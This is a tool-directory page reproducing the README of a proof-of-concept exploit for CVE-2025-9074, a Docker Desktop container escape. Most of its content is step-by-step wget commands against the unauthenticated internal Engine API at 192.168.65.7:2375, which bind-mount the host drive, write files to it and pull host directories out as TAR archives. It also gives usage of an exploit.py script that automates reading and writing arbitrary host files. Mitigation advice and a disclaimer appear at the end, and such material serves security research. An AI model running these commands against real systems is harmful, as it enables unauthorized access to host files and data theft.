Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-9074 | Kitploit
Tools/GitHubGitHub/pucagit/cve-2025-9074
Vulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & EducationContainer Escape
GitHubpucagit/cve-2025-9074

CVE-2025-9074

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-9074 – Full Docker Escape on Windows & macOS Docker Desktop

📌 Description

Docker Desktop exposes the internal Docker Engine API at http://192.168.65.7:2375 to any running container — with no authentication and no access control.

Because the engine itself can mount the host filesystem, a container can call this API to create a new container that bind-mounts the host drive, then use that container to read and write arbitrary host files — a complete container-to-host escape.

📝 References

  • CVE-2025-9074 Record
  • Docker Desktop Release Notes (fixed in 4.44.3)
  • Felix Boulet’s Research

🎯 Affected Versions

  • Docker Desktop ≤ 4.44.3 on Windows and macOS

⚙️ How It Works

  1. Reach the API. A running container connects to the Docker Engine API at http://192.168.65.7:2375 — no credentials are required.
  2. Create a privileged container. It sends POST /containers/create with Binds: ["/mnt/host:/host_root"], mounting the host drive into a new container. Inside the Docker VM the host filesystem is exposed at /mnt/host (e.g. the Windows C: drive is at /mnt/host/c).
  3. Start the container. POST /containers/{id}/start activates the bind mount, giving full host access.
  4. Write host files. The new container runs a command that writes into the bind mount (e.g. echo pwned > /host_root/c/test/pwn.txt).
  5. Read host files. GET /containers/{id}/archive?path=... streams any host path back as a TAR archive — no shell required.

🧪 Lab Setup

Requirements

  • Docker Desktop prior to 4.44.3 (Windows or macOS)
  • An attacker container that can reach the internal API (any container can)

Prepare test data (Windows)

Create C:\test\readme.txt with some sample content so the read demo has a target.

poc 1

Launch an attacker container

root@kitploit:~
docker run -it --rm alpine /bin/sh

All manual steps below run inside this container (alpine ships with wget). Set a shell variable for the API to keep commands short:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ Reproduction — WRITE to the host

Goal: create C:\test\pwn.txt on the host from inside a container.

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

What happened:

  • Binds: /mnt/host:/host_root mounts the host drives into the new container.
  • The container’s command writes pwned to C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • No credentials were ever required.

Expected result: C:\test\pwn.txt now exists on the host.

poc 2


📖 Reproduction — READ from the host

Goal: read C:\test\readme.txt off the host from inside a container.

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

What happened:

  • The same bind mount exposes the host drive read-only-friendly to the new container.
  • GET /containers/{id}/archive?path=... streams any host path back as a TAR — no shell needed.
  • Extracting the archive reveals the host file contents.

Expected result: the contents of C:\test\readme.txt are printed.

poc 3


🤖 Automated Exploitation — exploit.py

exploit.py automates both flows. It uses only the Python standard library, auto-detects the host mount (Windows /mnt/host/c vs macOS/Linux /), and translates native host paths for you.

The internal API (192.168.65.7:2375) is only reachable from inside a container, so run the script in one that has Python:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

On Windows PowerShell, use -v "${PWD}:/x"; on cmd.exe use -v "%cd%:/x".

Verify access

root@kitploit:~
python /x/exploit.py info

Pings the API, detects the host OS, and lists the top-level host mount entries.

Write a host file

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

Read a host file

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

Useful flags


🛡️ Mitigation

  • Upgrade Docker Desktop to ≥ 4.44.3 on Windows and macOS.
  • Do not run untrusted images; the unpatched API is reachable from any container.

⚠️ Disclaimer

This PoC is for authorized testing, education, and research only. The author assumes no liability for misuse. Only run it against systems you own or are permitted to test.


🙏 Attribution

This PoC and README are derived from research by Felix Boulet. All credit for the original discovery and analysis belongs to the original author.


📜 License

This project is licensed under the MIT License.

Download Tool
FlagPurpose
--api URLOverride the API endpoint (default http://192.168.65.7:2375)
--image NAMEImage for the exploit container (default alpine, auto-pulled if missing)
--vm-mount PATHSkip auto-detect and force the in-VM host mount (e.g. /mnt/host or /)